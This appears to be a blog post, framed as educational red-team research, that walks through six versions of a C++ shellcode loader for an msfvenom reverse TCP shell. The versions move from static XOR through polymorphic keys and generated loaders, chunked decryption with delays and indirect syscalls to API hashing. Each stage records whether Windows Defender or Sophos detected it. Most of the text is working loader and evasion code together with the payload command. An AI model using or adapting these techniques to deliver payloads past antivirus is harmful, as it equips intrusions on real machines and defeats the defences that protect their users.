XOR Shellcode loader

Evolving Shellcode Loaders: From Basic XOR to API Hashing and Indirect Syscalls

⚠️ DISCLAIMER:
This post is intended strictly for educational purposes. The techniques and code discussed are meant to demonstrate how malware obfuscation and evasion tactics evolve, particularly in the context of defensive research, red teaming, and antivirus testing.
I do not condone the use of this information for illegal or malicious purposes and am not responsible for how others choose to use it. The code shared is not production-safe and must not be used in real-world environments without proper authorization.

Objective

This post documents an experimental shellcode execution project developed in C++. The goal was to explore progressively more evasive techniques to defeat Windows Defender and similar AVs, starting from basic encoding up to polymorphic loaders with indirect syscalls and API hashing.

Initial Payload

Generated with msfvenom:

1
msfvenom -p windows/x64/shell_reverse_tcp lhost=192.168.2.5 lport=8000 -f c > shell_code.txt

Version 1: Basic XOR Encoding

In the first version, a static XOR key ("verysecurepassword") is used to encrypt the shellcode. The key is reused during decryption.

Encoder Snippet

1
2
3
4
5
void xor_encrypt(std::vector<unsigned char>& data, const std::string& key) {
    for (size_t i = 0; i < data.size(); ++i) {
        data[i] ^= key[i % key.size()];
    }
}

Loader Decryption Logic

1
2
3
4
5
void xor_decrypt(unsigned char* data, size_t size, const std::string& key) {
    for (size_t i = 0; i < size; i++) {
        data[i] ^= key[i % key.size()];
    }
}

Execution Logic

1
2
3
4
void* exec_mem = VirtualAlloc(nullptr, shellcode_size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
memcpy(exec_mem, encrypted_shellcode, shellcode_size);
VirtualProtect(exec_mem, shellcode_size, PAGE_EXECUTE_READ, &oldProtect);
CreateThread(nullptr, 0, (LPTHREAD_START_ROUTINE)exec_mem, nullptr, 0, nullptr);

Xor_runner
antivirus_flaged
V1_detection

Version 2: XOR + Polymorphic Key

Random XOR key is generated during encryption. Output header includes the key and encrypted shellcode.

Key Generation + Header Output

1
2
3
4
5
6
7
8
std::string generate_random_key(size_t length) {
    std::string charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";
    std::string key;
    for (size_t i = 0; i < length; ++i) {
        key += charset[rand() % charset.size()];
    }
    return key;
}
1
2
3
4
5
6
7
8
9
10
output << "// Polymorphic XOR Key (length: " << key.size() << ")
";
output << "unsigned char xor_key[] = { ";
for (size_t i = 0; i < key.size(); ++i) {
    output << "0x" << std::hex << std::uppercase << (int)(unsigned char)key[i];
    if (i != key.size() - 1) output << (rand() % 2 ? ", " : ",
  ");
}
output << "};
";

V2_Detection

Version 3: Polymorphic Loader Generator

This version dynamically generates both the encrypted shellcode and the loader (decoder.cpp) with randomized identifiers and one of multiple decryption variants.

Polymorphic Functions (Three Variants)

1
2
3
4
void decrypt1(unsigned char* data, size_t len, const unsigned char* key) {
    for (size_t i = 0; i < len; ++i)
        data[i] ^= key[i % xor_key_len];
}
1
2
3
4
5
6
7
void decrypt2(unsigned char* data, size_t len, const unsigned char* key) {
    size_t k = 0;
    for (size_t i = 0; i < len; ++i) {
        data[i] = data[i] ^ key[k];
        k = (k + 1) % xor_key_len;
    }
}
1
2
3
4
5
6
7
void decrypt3(unsigned char* data, size_t len, const unsigned char* key) {
    size_t idx = 0;
    while (idx < len) {
        data[idx] ^= key[idx % xor_key_len];
        ++idx;
    }
}

V3_Bypasses_AV_defender
V3_Detection

Version 4: Chunked Decode + Delays

Decryption is split into chunks with random delays, simulating benign runtime behavior.

1
2
3
4
5
6
7
8
9
10
11
12
void delayed_decrypt(unsigned char* data, size_t len, const unsigned char* key) {
    size_t chunk_size = 32 + (rand() % 32);
    size_t offset = 0;
    while (offset < len) {
        size_t current_chunk = (offset + chunk_size > len) ? (len - offset) : chunk_size;
        for (size_t i = 0; i < current_chunk; ++i) {
            data[offset + i] ^= key[(offset + i) % xor_key_len];
        }
        offset += current_chunk;
        Sleep(500 + (rand() % 500));
    }
}

V4_DETECTION
V4_NO_TRIGGER
And we didnt get flagged by defender

Version 5: Indirect Syscalls

Implemented indirect system calls by manually resolving ntdll exports and calling them via function pointers.

Stub Resolver

1
2
3
4
5
6
7
8
9
10
11
void* resolve_stub(const char* name) {
    HMODULE ntdll = GetModuleHandleA("ntdll.dll");
    if (!ntdll) return nullptr;
    void* addr = GetProcAddress(ntdll, name);
    unsigned char* p = (unsigned char*)addr;
    for (int i = 0; i < 0x20; i++) {
        if (p[i] == 0x4C && p[i + 1] == 0x8B)
            return (void*)(p + i);
    }
    return nullptr;
}

v5
defender_check
gocheck_pass

Version 6: API Hashing + Indirect Syscalls

Combined MurmurHash3 API hashing and export table parsing to resolve syscall stubs without using function names.

MurmurHash3 Snippet

1
2
3
4
5
6
7
unsigned int murmur_hash(const char* key) {
    unsigned int seed = 0x5A5A5A5A;
    unsigned int h = seed;
    size_t len = strlen(key);
    // ... truncated for brevity ...
    return h;
}

Nothing_was_found

Detection Explanation

  • Detection Name: C2_1a (T1095 mem/meter-b mem/meter-g)
  • MITRE Technique: T1095 — Non-Application Layer Protocol
  • Indicators:
    • mem/meter-b and mem/meter-g suggest in-memory artifacts linked to Meterpreter.
    • These are heuristics or behavioral indicators seen after payload execution — likely from:
      • Command and control (C2) network communication patterns (e.g. reverse HTTPS).
      • Meterpreter staging or beaconing behavior.
      • Memory-resident code structures or recognizable strings (e.g., handler UUIDs, session checks).

sophos_detection
But now windows defender never flags the executable!